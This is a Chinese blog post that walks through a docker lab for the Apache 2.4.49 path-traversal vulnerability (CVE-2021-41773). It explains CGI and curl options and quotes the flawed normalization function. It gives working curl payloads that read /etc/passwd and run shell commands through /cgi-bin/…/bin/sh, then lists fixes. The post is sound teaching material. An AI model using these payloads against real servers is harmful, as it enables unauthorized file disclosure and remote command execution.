中间件漏洞 | Apache-路径穿越/任意命令执行


前置知识


cgi和cgi应用程序

公共网关接口(Common Gateway Interface,CGI)是一个Web服务器主机提供信息服务的标准接口(可以想象成银行提供服务的柜台窗口)。通过CGI接口,Web服务器就能够获取客户端提交的信息,转交给服务器端的CGI程序进行处理,最后返回结果给客户端。简单的说,cgi就是一个接口。
CGI 应用程序能与浏览器进行交互,还可通过数据API与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。格式化为HTML文档后,发送给浏览器,也可以将从浏览器获得的数据放到数据库中。
在这里插入图片描述


curl命令

curl 是常用的命令行工具,用来请求 Web 服务器。curl是客户端(client)的URL工具的意思。

–path-as-is

可以使curl完全按照URL中提供的路径发送,而不删除任何点段。

-d或–data

用于发送 POST 请求的数据体。

-v

输出通信的整个过程,用于调试。

在这里插入图片描述


靶场:CVE-2021-41773


1 靶场介绍

Apache HTTP Server 2.4.49 路径穿越漏洞
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:

  • 版本等于2.4.49
  • 穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>。(默认情况下是不允许的)

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令


2 漏洞验证:路径穿越
  1. 编译及运行

    docker-compose build
    docker-compose up -d
    

    在这里插入图片描述

  2. 环境启动后,访问http://your-ip:8080即可看到Apache默认的It works!页面。
    在这里插入图片描述

  3. 使用如下CURL命令来发送Payload(注意其中的/icons/必须是一个存在且可访问的目录)

    curl -v --path-as-is http://20.210.90.167:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    // 这里可以使用.%2e也可以使用%2e%2e
    
    url解码后
    curl -v --path-as-is http://20.210.90.167:8080/icons/../../../../etc/passwd
    
  4. 成功读取到/etc/passwd,说明存在路径穿越。
    在这里插入图片描述在这里插入图片描述

  5. 漏洞原理
    Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径做过滤的时候没有过滤干净。
    函数原理:遍历路径字符串,对每一位,先进行url解码,然后检测当前位和下一位的组合是不是..

    AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
    {
    
     	......
     	
        // 遍历路径字符串,一边做url解码一边检测 '..',出现漏洞。
        while (path[l] != '\0') {
            // 这一段是在做URL解码,检测到当前位为‘%’,接下来两位为十六进制数字就进入if
            if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) && path[l] == '%' && apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
                const char c = x2c(&path[l + 1]); // 将url编码转换为字符(16进制转char)
                if (apr_isalnum(c) || (c && strchr("-._~", c))) {
                    l += 2;
                    path[l] = c;
                }
            }
            
    		......
    		
            // 如果path[0]不是斜杠,且不是* 或者空串,w就会置为0。
            if (w == 0 || IS_SLASH(path[w - 1])) {
    			
    			......
    			
                //如果检测到点号
                if (path[l] == '.') {
                    if (IS_SLASH_OR_NUL(path[l + 1])) {
                        l++;
                        if (path[l]) {
                            l++;
                        }
                        continue;
                    }
                    // 如果点号的下一个还是点号,就要删一点了
                    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                        if (w > 1) {
                            do {
                                w--;
                            } while (w && !IS_SLASH(path[w - 1]));
                        }
                        else {
                            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                                ret = 0;
                            }
                        }
                        l += 2;
                        if (path[l]) {
                            l++;
                        }
                        continue;
                    }
                }
            }
            path[w++] = path[l++];
        }
        path[w] = '\0';
        return ret;
    }
    

3 漏洞利用:任意命令执行
  1. 在服务端开启了cgi或cgid这两个mod的情况下,使用命令行工具利用路径穿越漏洞将可以执行任意命令
    curl -v --data "echo;id" http://20.210.90.167:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
    
    在这里插入图片描述
    curl -v --data "echo;whoami" http://20.210.90.167:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
    
    在这里插入图片描述
    curl -v --data "echo;ls /" http://20.210.90.167:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
    
    在这里插入图片描述
  2. 小问题:多输入单引号
    在这里插入图片描述
  3. 使用抓包工具
    在这里插入图片描述

4 修复
  1. 升级更新
  2. 关闭目录遍历功能
  3. 关闭cgi模式
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值